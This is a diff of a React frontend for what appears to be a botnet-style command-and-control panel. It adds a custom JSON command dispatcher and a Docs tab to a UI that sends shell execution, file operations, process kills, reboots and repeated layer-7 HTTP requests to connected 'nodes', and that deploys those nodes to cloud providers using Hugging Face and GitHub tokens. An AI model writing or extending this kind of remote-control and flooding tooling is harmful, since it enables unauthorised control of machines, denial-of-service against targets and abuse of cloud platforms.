</div>
|
| 592 |
+
</div>
|
| 593 |
+
);
|
| 594 |
+
}
|
| 595 |
+
|
| 596 |
+
function DocsTab() {
|
| 597 |
+
return (
|
| 598 |
+
<div className="flex flex-col gap-6 max-w-3xl mx-auto w-full">
|
| 599 |
+
<div className="mb-2">
|
| 600 |
+
<h2 className="text-2xl font-bold text-white tracking-tight">Documentation & Custom Payloads</h2>
|
| 601 |
+
<p className="text-slate-400 mt-2 text-sm leading-relaxed">
|
| 602 |
+
Learn how to craft custom JSON payloads. The system translates these commands to instructions executed natively on connected nodes.
|
| 603 |
+
</p>
|
| 604 |
+
</div>
|
| 605 |
+
|
| 606 |
+
<Card title="Custom JSON Structure" icon={<FileText size={18} />}>
|
| 607 |
+
<div className="text-sm text-slate-300">
|
| 608 |
+
<p className="mb-4">
|
| 609 |
+
Under <strong>System Commands > Custom JSON Command</strong>, you can dispatch arbitrary JSON payloads.
|
| 610 |
+
The structure should look like this:
|
| 611 |
+
</p>
|
| 612 |
+
<pre className="bg-black/30 border border-white/10 rounded-xl p-4 font-mono text-xs overflow-x-auto text-indigo-300 mb-4">
|
| 613 |
+
{`{
|
| 614 |
+
"type": "my_custom_action",
|
| 615 |
+
"payload": {
|
| 616 |
+
"arg1": "value",
|
| 617 |
+
"param2": 123
|
| 618 |
+
}
|
| 619 |
+
}`}
|
| 620 |
+
</pre>
|
| 621 |
+
<p className="mb-4 text-emerald-400 font-medium">Node Processing</p>
|
| 622 |
+
<p className="mb-4">
|
| 623 |
+
When a node receives the command, it looks at the <code>cmd.type</code> parameter.
|
| 624 |
+
If the client implementation supports it, it executes the command and posts the resulting JSON output back to the control server.
|
| 625 |
+
If you want to add custom command handling to the Python or Node clients, just edit the source scripts downloaded from the `Node Payloads` tab
|
| 626 |
+
and add an <code>elif cmd_type == 'my_custom_action':</code> block!
|
| 627 |
+
</p>
|
| 628 |
+
</div>
|
| 629 |
+
</Card>
|
| 630 |
+
|
| 631 |
+
<Card title="Available Command Types" icon={<Terminal size={18} />}>
|
| 632 |
+
<div className="text-sm text-slate-300">
|
| 633 |
+
<ul className="space-y-4">
|
| 634 |
+
<li className="p-3 bg-white/5 rounded-lg border border-white/5">
|
| 635 |
+
<strong className="text-white block mb-1">exec_shell</strong>
|
| 636 |
+
<p className="mb-2">Execute an arbitrary terminal command.</p>
|
| 637 |
+
<code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"exec_shell\", \"payload\": { \"cmd\": \"whoami\" } }"}</code>
|
| 638 |
+
</li>
|
| 639 |
+
<li className="p-3 bg-white/5 rounded-lg border border-white/5">
|
| 640 |
+
<strong className="text-white block mb-1">fetch_http_test</strong>
|
| 641 |
+
<p className="mb-2">Perform an HTTP GET request to a target layer 7 URL.</p>
|
| 642 |
+
<code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"fetch_http_test\", \"payload\": { \"ip\": \"example.com\", \"port\": 80 } }"}</code>
|
| 643 |
+
</li>
|
| 644 |
+
</ul>
|
| 645 |
+
</div>
|
| 646 |
+
</Card>
|
| 647 |
+
</div>
|
| 648 |
+
);
|
| 649 |
+
}
|
| 650 |
+
|
| 651 |
function SettingsTab() {
|
| 652 |
const [hfToken, setHfToken] = useState('');
|
| 653 |
const [ghToken, setGhToken] = useState('');
|
|
|
|
| 735 |
});
|
| 736 |
const data = await res.json();
|
| 737 |
if (data.error) throw new Error(data.error);
|
| 738 |
+
setStatus(`${data.message}\n(Make sure to wait a few minutes for the cloud providers to build and start the apps.)`);
|
| 739 |
} catch (e: any) {
|
| 740 |
setStatus(`Error: ${e.message}`);
|
| 741 |
}
|
|
|
|
| 804 |
>
|
| 805 |
<Globe size={18} /> {loading ? 'Deploying...' : 'Deploy Node'}
|
| 806 |
</button>
|
| 807 |
+
{status && <div className={cn("p-3 px-4 rounded-xl text-sm font-medium border whitespace-pre-wrap", status.includes('Error') ? 'bg-red-500/10 border-red-500/20 text-red-500' : 'bg-emerald-500/10 border-emerald-500/20 text-emerald-400')}>{status}</div>}
|
| 808 |
</div>
|
| 809 |
</div>
|
| 810 |
</Card>
|
|
|
|
| 915 |
const requiresDestPath = command === 'copy_file' || command === 'move_file';
|
| 916 |
const requiresContent = command === 'write_file';
|
| 917 |
const requiresPid = command === 'kill_process';
|
| 918 |
+
const requiresCustomJson = command === 'custom_json';
|
| 919 |
|
| 920 |
const [fileContent, setFileContent] = useState('echo hello');
|
| 921 |
const [destPath, setDestPath] = useState('/tmp/dest');
|
| 922 |
+
const [customJson, setCustomJson] = useState('{\n "payload": {\n "key": "value"\n }\n}');
|
| 923 |
|
| 924 |
const issueCommand = async () => {
|
| 925 |
let payload: any = {};
|
| 926 |
+
let finalType = command;
|
| 927 |
+
|
| 928 |
+
if (requiresCustomJson) {
|
| 929 |
+
try {
|
| 930 |
+
const parsed = JSON.parse(customJson);
|
| 931 |
+
if (parsed.type) finalType = parsed.type;
|
| 932 |
+
payload = parsed.payload || parsed;
|
| 933 |
+
} catch (e) {
|
| 934 |
+
setStatus('Invalid JSON payload');
|
| 935 |
+
return;
|
| 936 |
+
}
|
| 937 |
+
} else {
|
| 938 |
+
if (requiresTarget) payload = { ip, port: parseInt(port) || 80 };
|
| 939 |
+
if (requiresHost) payload = { host };
|
| 940 |
+
if (requiresPorts) payload = { ...payload, ports: portsList };
|
| 941 |
+
if (requiresInterval) payload = { interval: parseInt(interval) || 10 };
|
| 942 |
+
if (requiresShell) payload = { cmd: shellCmd };
|
| 943 |
+
if (requiresPath) payload = { path: filePath };
|
| 944 |
+
if (requiresDestPath) payload = { ...payload, destPath };
|
| 945 |
+
if (requiresContent) payload = { ...payload, content: fileContent };
|
| 946 |
+
if (requiresPid) payload = { pid: shellCmd };
|
| 947 |
+
}
|
| 948 |
|
| 949 |
try {
|
| 950 |
await fetch('/api/commands', {
|
| 951 |
method: 'POST',
|
| 952 |
headers: { 'Content-Type': 'application/json' },
|
| 953 |
+
body: JSON.stringify({ target: targetNode, type: finalType, payload, repeat })
|
| 954 |
});
|
| 955 |
+
setStatus(`Dispatched '${finalType}' to ${targetNode === 'all' ? 'all nodes' : targetNode}.`);
|
| 956 |
setTimeout(() => setStatus(''), 3000);
|
| 957 |
} catch (e) {
|
| 958 |
setStatus('Failed to issue command.');
|
|
|
|
| 1031 |
<option value="exec_shell">Exec Shell Command</option>
|
| 1032 |
<option value="reboot_system">Reboot System (Warning!)</option>
|
| 1033 |
<option value="self_terminate">Terminate Client Process</option>
|
| 1034 |
+
<option value="custom_json">Custom JSON Command</option>
|
| 1035 |
</optgroup>
|
| 1036 |
)}
|
| 1037 |
{category === 'file' && (
|
|
|
|
| 1136 |
</div>
|
| 1137 |
)}
|
| 1138 |
|
| 1139 |
+
{requiresCustomJson && (
|
| 1140 |
+
<div className="border-t border-white/5 pt-5">
|
| 1141 |
+
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Custom JSON Payload</label>
|
| 1142 |
+
<textarea
|
| 1143 |
+
value={customJson}
|
| 1144 |
+
onChange={e => setCustomJson(e.target.value)}
|
| 1145 |
+
rows={6}
|
| 1146 |
+
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
|
| 1147 |
+
placeholder={'{\n "type": "my_command",\n "payload": { ... }\n}'}
|
| 1148 |
+
/>
|
| 1149 |
+
</div>
|
| 1150 |
+
)}
|
| 1151 |
+
|
| 1152 |
{requiresInterval && (
|
| 1153 |
<div className="border-t border-white/5 pt-5">
|
| 1154 |
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Polling Interval (Seconds)</label>
|